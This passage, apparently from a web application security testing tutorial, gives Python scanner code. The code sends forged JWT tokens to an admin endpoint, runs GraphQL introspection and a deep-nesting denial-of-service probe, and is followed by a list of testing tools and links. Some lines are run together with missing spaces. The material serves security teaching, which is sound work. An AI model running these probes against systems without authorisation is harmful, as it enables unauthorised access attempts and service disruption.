            'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.invalid'
        ]

        # Test with manipulated tokens
        for token in jwt_payloads:
            headers = {'Authorization': f'Bearer {token}'}

            try:
                response=self.session.get(f"{self.api_base_url}/api/admin",
                                          headers=headers, timeout=10)

                if response.status_code == 200:
                    print(f"  [!]Authenticationbypass with token: {token[:20]}...")

            except requests.RequestException:
                continue

    def report_finding(self, finding_data):
        """Report security finding to test site"""
        try:
            requests.post(self.test_site,json=finding_data, timeout=5)
        except:
            pass

# Usage example
api_tester = APISecurityTester("https://api.target-site.com")
api_tester.test_api_vulnerabilities()
```

GraphQL Security Testing

```python
#!/usr/bin/env python3
import requests
import json

class GraphQLTester:
    def __init__(self, graphql_endpoint):
        self.endpoint = graphql_endpoint
        self.session = requests.Session()

    def test_introspection(self):
        """TestGraphQLintrospection queries"""
        introspection_query = """
        query IntrospectionQuery {
          __schema {
            queryType { name }
            mutationType { name }
            subscriptionType{name }
            types {
              ...FullType
            }
          }
        }
        fragmentFullTypeon__Type {
```

Cyber Mind Space

```
          kind        name        description
          fields(includeDeprecated:true) {


            name
            description
            args {
              ...InputValue
            }
            type {
              ...TypeRef
            }
          }
        }
        fragmentInputValueon__InputValue {
          name
          description
          type { ...TypeRef }
          defaultValue
        }
        fragment TypeRef on __Type {
          kind
          name
          ofType {
          kind
          name
          ofType {
          kind
          name
            }
          }
        }
        """

        payload = {'query': introspection_query}
        response=self.session.post(self.endpoint, json=payload)

        ifresponse.status_code==200 and 'data' in response.json():
            print("[!]GraphQLintrospection enabled - schema exposed")
            return response.json()

        return None

    def test_depth_limiting(self):
        """TestforGraphQLdepth-based DoS"""
        deep_query = """
        query DeepQuery {
          user {
            posts {
              comments {
                author {
                  posts {
                    comments {
                      author {
                        posts {
                          comments {
                            content
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
        """

        payload = {'query': deep_query}
        response=self.session.post(self.endpoint, json=payload)

        if response.status_code == 200:
            print("[!]Deepqueryexecuted - potential DoS vulnerability")

# Usage
graphql_tester = GraphQLTester("https://api.target.com/graphql")
graphql_tester.test_introspection()
graphql_tester.test_depth_limiting()
```

Web Application Security Tools

🛠️ Essential Security Testing Tools

Cyber Mind Space

Burp Suite Professional

- Comprehensive web application security testing platform
- Automated scanning and manual testing capabilities
- Advanced payload generation and custom extensions

OWASP ZAP (Zed Attack Proxy)

- Free, open-source web application security scanner
- Automated and manual security testing features
- Extensive API for integration and automation

SQLMap

- Specialized tool for SQL injection detection and exploitation
- Database fingerprinting and data extraction capabilities
- Support for various database management systems

Nikto

- Web server scanner for common vulnerabilities and misconfigurations
- Extensive vulnerability database and plugin system
- Fast reconnaissance and initial assessment tool

Gobuster

- Directory and file brute-forcing tool for web applications
- DNS subdomain enumeration capabilities
- High-performance concurrent scanning

References and Further Reading

📚 Articles for Further Reference

- *OWASP Top 10 2021*
- *OWASP Web Security Testing Guide*
- *PortSwigger Web Security Academy*
- *SANS Web Application Security*
- *NIST Cybersecurity Framework*

🔗 Reference Links

- *OWASP Foundation*
- *Burp Suite Academy*
- *HackerOne Hacktivity*
- *Web Security Academy Labs*
- *OWASP WebGoat*
- 🔗 STAY CONNECTED WITH US 🔗
  🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐💡

📢 Telegram Channel (Updates & Resources):
https://t.me/cybermindspace
💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_ mind _space
🎥 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace
🔗 LinkedIn (Professional Profile):
https://linkedin.com/in/almadadali
💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣️ Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
🎵 Tiktok:
https://www.tiktok.com/@cybermindspace
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21

⚡ Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps! 🌐

Cyber Mind Space